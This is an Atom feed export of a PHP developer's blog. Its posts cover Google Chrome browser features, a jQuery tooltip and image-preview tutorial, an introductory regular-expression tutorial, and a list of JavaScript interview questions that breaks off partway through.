<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3778689083063619753</id><updated>2011-11-27T16:44:56.363-08:00</updated><category term='Php Development'/><title type='text'>PHP Developers</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>26</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-6000507052570008975</id><published>2008-09-03T18:30:00.000-07:00</published><updated>2008-09-03T18:34:52.663-07:00</updated><title type='text'></title><content type='html'>&lt;p&gt;Now that you have &lt;a href="http://www.google.com/chrome"&gt;Google Chrome&lt;/a&gt; installed on your desktop, let’s look at some of the unique features available only inside Google’s Web Browser that you’re seriously going to miss in other popular browsers like Internet Explorer, Firefox, Apple Safari or Opera.&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span" style="font-size: 24px; font-weight: bold; "&gt;1. Task Manager for Websites&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;While you are inside Google Chrome, press Shift+Escape and it will open up a ‘task manager’ with a list of all websites currently open inside Chrome.&lt;/p&gt;&lt;p&gt;&lt;img title="chrom task manager" alt="chrom task manager" src="http://img.labnol.org/di/taskmanager.png" width="511" border="0" height="242" /&gt;&lt;/p&gt;&lt;p&gt;This will give you an idea about how much physical memory is consumed by different websites and if any particular page is causing your system to crawl, you can do an "end process" to close that tab directly from Task Manager.&lt;/p&gt;&lt;h2&gt;2. Visual Browser History&lt;/h2&gt;&lt;p&gt;This is a feature Chrome borrowed from Google Desktop / Google Web History. Type Ctrl+H to open your browser history and search for a term.&lt;/p&gt;&lt;p&gt;&lt;img title="visual-history" alt="visual-history" src="http://img.labnol.org/di/visualhistory.png" width="504" border="0" height="247" /&gt; &lt;/p&gt;&lt;p&gt;In addition to matching pages, Google Chrome will also show you a small thumbnail image of that web pages in the history results. No need for &lt;a href="http://labnol.blogspot.com/2007/06/view-your-web-browser-history-in-visual.html"&gt;any extensions&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;&lt;img title="chrome  contextual menu" alt="chrome  contextual menu" src="http://img.labnol.org/di/chromemenu.png" width="172" align="right" border="0" height="124" /&gt;3. Super Clean Contextual Menus&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;I simply love this. You right click an hyperlink on a web page and you get only five relevant options to deal with that link. &lt;/p&gt;&lt;p&gt;The number comes down to four when you right click any image in Chrome. There’s way too much &lt;a href="http://labnol.blogspot.com/2007/06/remove-unwanted-clutter-from-firefox.html"&gt;clutter in Firefox menus&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;4. Search Your Favorite Websites from the Address Bar&lt;/h2&gt;&lt;p&gt;This is brilliant. If you visit a website that includes site search (for instance: &lt;a href="http://search.labnol.org/"&gt;search.labnol.org&lt;/a&gt;) - Chrome will automatically recognize and add that search engine for you so the next time you can perform a search on that site via the Chrome address bar itself.&lt;/p&gt;&lt;p&gt;&lt;img title="chrome search" alt="chrome search" src="http://img.labnol.org/di/searchinchrome.png" width="531" border="0" height="39" /&gt; &lt;/p&gt;&lt;p&gt;To see this in action, open cnn.com or search.labnol.org in your Chrome browser and then type cnn.com followed by the tab key to search CNN. Simple.&lt;/p&gt;&lt;h2&gt;5. See Memory Used by Different Browsers&lt;/h2&gt;&lt;p&gt;Open a new tab inside Chrome browser and type "about:memory" (without quotes) - somewhere at the top, you’ll see a list of browser processes that are currently running on your system and the amount of memory they are using.&lt;/p&gt;&lt;p&gt;&lt;img title="browser memory" alt="browser memory" src="http://img.labnol.org/di/browsermemory.png" width="466" border="0" height="151" /&gt;&lt;/p&gt;&lt;h2&gt;6. Reopen Website tabs that you closed by mistake&lt;/h2&gt;&lt;p&gt;Firefox 3 has this "Undo Closed Tab" option in the menu while you can open closed tabs in Opera via the Ctrl+Z shortcut.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;img title="closed-tabs" alt="closed-tabs" src="http://img.labnol.org/di/closedtabs.png" width="500" border="0" height="222" /&gt; &lt;/p&gt;&lt;p&gt;To re-open a closed tab in Google Chrome, just hit Ctrl+T and you’ll see an option that says "Recently closed tabs" - click the one you closed by accident.&lt;/p&gt;&lt;h2&gt;7. Launch Websites from the Start Menu / Quick Launch Bar&lt;/h2&gt;&lt;p&gt;&lt;a href="http://www.labnol.org/internet/office/quickly-create-new-google-docs-documents-desktop-shortcuts/3668/"&gt;Desktop shortcuts&lt;/a&gt; for web pages are possible with other browsers as well but Google Chrome make the whole flow very easy. Open any site and choose "Create application shortcut" from the File menu. &lt;/p&gt;&lt;p&gt;&lt;img title="web-shortcuts" alt="web-shortcuts" src="http://img.labnol.org/di/webshortcuts.png" width="500" border="0" height="234" /&gt; &lt;/p&gt;&lt;p&gt;This will essentially create a desktop shortcut that looks something like this:&lt;/p&gt;&lt;pre&gt;C:\Users\labnol\AppData\Local\Google\Chrome\Application\chrome.exe&lt;br /&gt;   --app=http://www.labnol.org/&lt;/pre&gt;&lt;p&gt;Clicking the shortcut will launch that web page in a new instance of Chrome that may not contain have any more new tabs.&lt;/p&gt;&lt;p&gt;Chrome lets you move tabs around different windows but I didn’t find this feature very useful. I like the Firefox approach better where you can drag tabs onto the desktop and turn them into web shortcuts.&lt;/p&gt;&lt;p&gt;Overall, I am pretty impressed with Chrome but did miss support for extensions especially &lt;a href="http://www.labnol.org/software/browsers/make-google-better-customize-google-firefox/2500/"&gt;Customize Google&lt;/a&gt;. But Chrome may be a good thing if you are web publisher  as it has &lt;a href="http://labnol.blogspot.com/2007/01/google-recommends-firefox-mozilla.html"&gt;no adblock plus&lt;/a&gt; - good for Google as well.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-6000507052570008975?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/6000507052570008975/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=6000507052570008975' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/6000507052570008975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/6000507052570008975'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2008/09/now-that-you-have-google-chrome.html' title=''/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-7689315690492996325</id><published>2008-09-03T18:10:00.000-07:00</published><updated>2008-09-03T18:25:31.527-07:00</updated><title type='text'>Tooltip And Image Preview Using JQuery</title><content type='html'>&lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;I love&lt;span class="apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://jquery.com"&gt;&lt;span style="color:#D7722F"&gt;jQuery&lt;/span&gt;&lt;/a&gt;&lt;span class="apple-converted-space"&gt; &lt;/span&gt;and the way it makes developer's life easier. Although it took me a while to accept it and I still prefer to write my own stuff, I can't deny its advantages. Recently I had a project that demanded a rollover image preview. You know, one of those tooltip-like bubble popups that appears when you roll over link or a thumbnail. Since we were already using jQuery on that project I decided to take it easy and investigate what can be done with that extraordinary library. So I came up with a script so simple it hurts! The best thing yet is that it can be applied for a variety of purposes. Today I will show you 3 examples of using the same very, very simple script.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify;background-image:initial; background-repeat:initial;background-attachment:initial;-webkit-background-clip: initial; -webkit-background-origin: initial;background-position:initial initial"&gt;&lt;a href="http://cssglobe.com/lab/tooltip/tooltip.zip"&gt;Download all 3 tricks in a bundle&lt;/a&gt;&lt;/p&gt;  &lt;h3 style="margin-top:12.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:16.0pt; font-family:Verdana;mso-bidi-font-family:Arial;color:#333333;mso-bidi-font-weight: normal"&gt;Features and Principle&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;What this script does is adds an element to the body when you roll over a certain object. That element's appearance is predefined with css (positioned absolute and styled) so all we need to do is fill the element with content, calculate mouse position and make it move accordingly. When cursor is moved over he object, element moves with it and when cursor roll out, the element is deleted.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;Here are couple of examples where you can see this script in action.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h3 style="margin-top:12.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt;background-attachment:initial; -webkit-background-clip: initial;-webkit-background-origin: initial;background-color: initial;background-position-x:0px;background-position-y:0px"&gt;&lt;span style="font-size:16.0pt;font-family:Verdana;mso-bidi-font-family:Arial; color:#333333;mso-bidi-font-weight:normal"&gt;Example 1: The Simplest jQuery Tooltip Ever&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;The script takes a title attribute of an A tag and place it inside the popup element.&lt;span class="apple-converted-space"&gt; &lt;/span&gt;&lt;br /&gt;Html looks like this:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;a href="http://cssglobe.com" class="tooltip" title="Web Standards Magazine"&gt;Roll over for tooltip&lt;/a&gt;&lt;/p&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;strong&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;&lt;a href="http://cssglobe.com/lab/tooltip/01/"&gt;&lt;span style="color:#D7722F"&gt;View this script in action&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size:10.5pt;font-family:Arial;color:#555555"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h3 style="margin-top:12.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt;background-attachment:initial; -webkit-background-clip: initial;-webkit-background-origin: initial;background-color: initial;background-position-x:0px;background-position-y:0px"&gt;&lt;span style="font-size:16.0pt;font-family:Verdana;mso-bidi-font-family:Arial; color:#333333;mso-bidi-font-weight:normal"&gt;Example 2: Image Preview Gallery&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;Here we have a bunch of thumbnails. When each thumbnail is rolled over, script will load an image that we have linked in HREF attribute of an A tag. That makes this method accessible as well, because user can still access the target image even with disabled JavaScript.&lt;br /&gt;Html:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;a href="1.jpg" class="preview"&gt;&lt;img src="1s.jpg" alt="gallery thumbnail" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;or if you want to use caption add a title attribute:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;a href="image.jpg" class="preview" title="Great looking landscape"&gt;Roll over to preview&lt;/a&gt;&lt;/p&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;strong&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;&lt;a href="http://cssglobe.com/lab/tooltip/02/"&gt;&lt;span style="color:#D7722F"&gt;View this script in action&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size:10.5pt;font-family:Arial;color:#555555"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h3 style="margin-top:12.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt;background-attachment:initial; -webkit-background-clip: initial;-webkit-background-origin: initial;background-color: initial;background-position-x:0px;background-position-y:0px"&gt;&lt;span style="font-size:16.0pt;font-family:Verdana;mso-bidi-font-family:Arial; color:#333333;mso-bidi-font-weight:normal"&gt;Example 3: Links With URL Preview&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;This demands a bit more effort but it might be worth it as an extra feature to add to your sites. What you'll need here is a small size screenshot of the target url. You'll put screenshot image location in in REL attribute of the A tag and script will do the rest.&lt;br /&gt;Like so:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;a href="http://www.cssglobe.com" class="screenshot" rel="cssg_screenshot.jpg"&gt;Css Globe&lt;/a&gt;&lt;/p&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;again, if you wish to use caption add a title attribute:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;a href="http://www.cssglobe.com" class="screenshot" rel="cssg_screenshot.jpg" title="Web Standards Magazine"&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;Css Globe&lt;/a&gt;&lt;/p&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;strong&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;&lt;a href="http://cssglobe.com/lab/tooltip/03/"&gt;&lt;span style="color:#D7722F"&gt;View this script in action&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size:10.5pt;font-family:Arial;color:#555555"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left: 0in;text-align:justify;line-height:21.0pt"&gt;&lt;strong&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;&lt;a href="http://cssglobe.com/lab/tooltip/tooltip.zip"&gt;&lt;span style="color:#D7722F"&gt;Download all 3 tricks in a bundle&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size:10.5pt; font-family:Arial;color:#555555"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-7689315690492996325?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/7689315690492996325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=7689315690492996325' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/7689315690492996325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/7689315690492996325'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2008/09/tooltip-and-image-preview-using-jquery.html' title='Tooltip And Image Preview Using JQuery'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-8635600880133621494</id><published>2007-10-02T20:02:00.000-07:00</published><updated>2007-10-02T20:16:27.982-07:00</updated><title type='text'>Regular Expression Tutorial, Learn How to Use and Get The Most out of Regular Expressions</title><content type='html'>&lt;p&gt;In this tutorial, I will teach you all you need to know to be able to craft powerful time-saving regular expressions.  I will start with the most basic concepts, so that you can follow this tutorial even if you know nothing at all about regular expressions yet.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;But I will not stop there.  I will also explain how a regular expression engine works on the inside, and alert you at the consequences.  This will help you to understand quickly why a particular regex does not do what you initially expected.  It will save you lots of guesswork and head scratching when you need to write more complex regexes.&lt;/p&gt;&lt;h2&gt;What Regular Expressions Are Exactly - Terminology&lt;/h2&gt;Basically, a regular expression is a pattern describing a certain amount of text.  Their name comes from the mathematical theory on which they are based.  But we will not dig into that.  Since most people including myself are lazy to type, you will usually find the name abbreviated to regex or regexp.  I prefer regex, because it is easy to pronounce the plural "regexes".&lt;br /&gt;&lt;p&gt;On this website, regular expressions are printed as &lt;tt class="regex"&gt;regex&lt;/tt&gt;.  If your browser has proper support for cascading style sheets, the regex should be highlighted in red.&lt;/p&gt;This first example is actually a perfectly valid regex.  It is the most basic pattern, simply matching the literal text &lt;tt class="match"&gt;regex&lt;/tt&gt;.  A "match" is the piece of text, or sequence of bytes or characters that pattern was found to correspond to by the regex processing software. Matches are highlighted in blue on this site.&lt;p&gt;&lt;tt class="regex"&gt;\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b&lt;/tt&gt; is a more complex pattern.  It describes a series of letters, digits, dots, underscores, percentage signs and hyphens, followed by an at sign, followed by another series of letters, digits and hyphens, finally followed by a single dot and between two and four letters.  In other words: this pattern describes an &lt;a href="http://www.blogger.com/email.html" target="_top"&gt;email address&lt;/a&gt;.&lt;/p&gt;With the above regular expression pattern, you can search through a text file to find email addresses, or verify if a given string looks like an email address.  In this tutorial, I will use the term "string" to indicate the text that I am applying the regular expression to.&lt;br /&gt;&lt;p&gt;I will highlight them in &lt;tt class="string"&gt;green&lt;/tt&gt;.&lt;br /&gt;The term "string" or "character string" is used by programmers to indicate a sequence of characters.  In practice, you can use regular expressions with whatever data you can access using the application or programming language you are working with.&lt;/p&gt;&lt;a name="engine"&gt;&lt;/a&gt;&lt;h2&gt;Different Regular Expression Engines&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;A regular expression "engine" is a piece of software that can process regular expressions, trying to match the pattern to the given string.  Usually, the engine is part of a larger application and you do not access the engine directly.  Rather, the application will invoke it for you when needed, making sure the right regular expression is applied to the right file or data.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;As usual in the software world, different regular expression engines are not fully compatible with each other.  It is not possible to describe every kind of engine and regular expression syntax (or "flavor") in this tutorial.  I will focus on the regex flavor used by Perl 5, for the simple reason that this regex flavor is the most popular one, and deservedly so.  Many more recent regex engines are very similar, but not identical, to the one of Perl 5.  Examples are the &lt;a href="http://www.blogger.com/pcre.html" target="_top"&gt;open source PCRE engine&lt;/a&gt; (used in many tools and languages like &lt;a href="http://www.blogger.com/php.html" target="_top"&gt;PHP&lt;/a&gt;), the &lt;a href="http://www.blogger.com/dotnet.html" target="_top"&gt;.NET regular expression library&lt;/a&gt;, and the regular expression package included with version 1.4 and later of the &lt;a href="http://www.blogger.com/java.html" target="_top"&gt;Java JDK&lt;/a&gt;.  I will point out to you whenever differences in regex flavors are important, and which features are specific to the Perl-derivatives mentioned above.&lt;br /&gt;&lt;/p&gt;&lt;h2&gt;Give Regexes a First Try&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;You can easily try the following yourself in a text editor that supports regular expressions, such as &lt;a href="http://www.blogger.com/editpadpro.html" target="_top"&gt;EditPad Pro&lt;/a&gt;.  If you do not have such an editor, you can &lt;a href="http://www.editpadpro.com/download.html" target="_top"&gt;download the free evaluation version of EditPad Pro&lt;/a&gt; to try this out.  EditPad Pro's regex engine is fully functional in the demo version.  As a quick test, copy and paste the text of this page into EditPad Pro.  Then select Search|Show Search Panel from the menu.  In the search pane that appears near the bottom, type in &lt;tt class="regex"&gt;regex&lt;/tt&gt; in the box labeled "Search Text".  Mark the "Regular expression" checkbox, and click the Find First button.  This is the leftmost button on the search panel.  See how EditPad Pro's regex engine finds the first match.  Click the Find Next button, which sits next to the Find First button, to find further matches.  When there are no further matches, the Find Next button's icon will flash briefly.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Now try to search using the regex &lt;tt class="regex"&gt;reg(ular expressions?|ex(p|es)?)&lt;/tt&gt;. This regex will find all names, singular and plural, I have used on this page to say "regex".  If we only had plain text search, we would have needed 5 searches.  With regexes, we need just one search.  Regexes save you time when using a tool like EditPad Pro.  Select Count Matches in the Search menu to see how many times this regular expression can match the file you have open in EditPad Pro.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;If you are a programmer, your software will run faster since even a simple regex engine applying the above regex once will outperform a state of the art plain text search algorithm searching through the data five times.  Regular expressions also reduce development time.  With a regex engine, it takes only one line (e.g. in Perl, PHP, Java or .NET) or a couple of lines (e.g. in C using PCRE) of code to, say, check if the user's input looks like a valid email address.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-8635600880133621494?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/8635600880133621494/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=8635600880133621494' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/8635600880133621494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/8635600880133621494'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/10/regular-expression-tutorial-learn-how.html' title='Regular Expression Tutorial, Learn How to Use and Get The Most out of Regular Expressions'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-4406294826064131694</id><published>2007-09-28T19:35:00.000-07:00</published><updated>2007-09-28T19:44:12.859-07:00</updated><title type='text'>Php, JavaScript &amp; AJAX interview questions</title><content type='html'>1.&lt;span&gt;  &lt;/span&gt;Why so JavaScript and Java have similar name?&lt;br /&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;JavaScript is a stripped-down version of Java&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;JavaScript's syntax is loosely based on Java's &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;They both originated on the island of Java&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in; text-align: justify;"&gt;2.&lt;span&gt;  &lt;/span&gt;When a user views a page containing a JavaScript program, which machine actually executes the script? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in; text-align: justify;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;The User's machine running a Web browser &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;The Web server&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;A central machine deep within Netscape's corporate offices&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;&lt;span id="more-321"&gt;&lt;/span&gt;3.&lt;span&gt;  &lt;/span&gt;______ JavaScript is also called client-side JavaScript. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in; text-align: justify;"&gt;A.&lt;span&gt;  &lt;/span&gt;Microsoft&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in; text-align: justify;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;Navigator&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in; text-align: justify;"&gt;C.&lt;span&gt;  &lt;/span&gt;LiveWire&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in; text-align: justify;"&gt;D.&lt;span&gt;  &lt;/span&gt;Native&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;4.&lt;span&gt;  &lt;/span&gt;__________ JavaScript is also called server-side JavaScript. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in; text-align: justify;"&gt;A.&lt;span&gt;  &lt;/span&gt;Microsoft&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Navigator&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;LiveWire&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;Native&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;5.&lt;span&gt;  &lt;/span&gt;What are variables used for in JavaScript Programs? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in; text-align: justify;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;Storing numbers, dates, or other values &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; 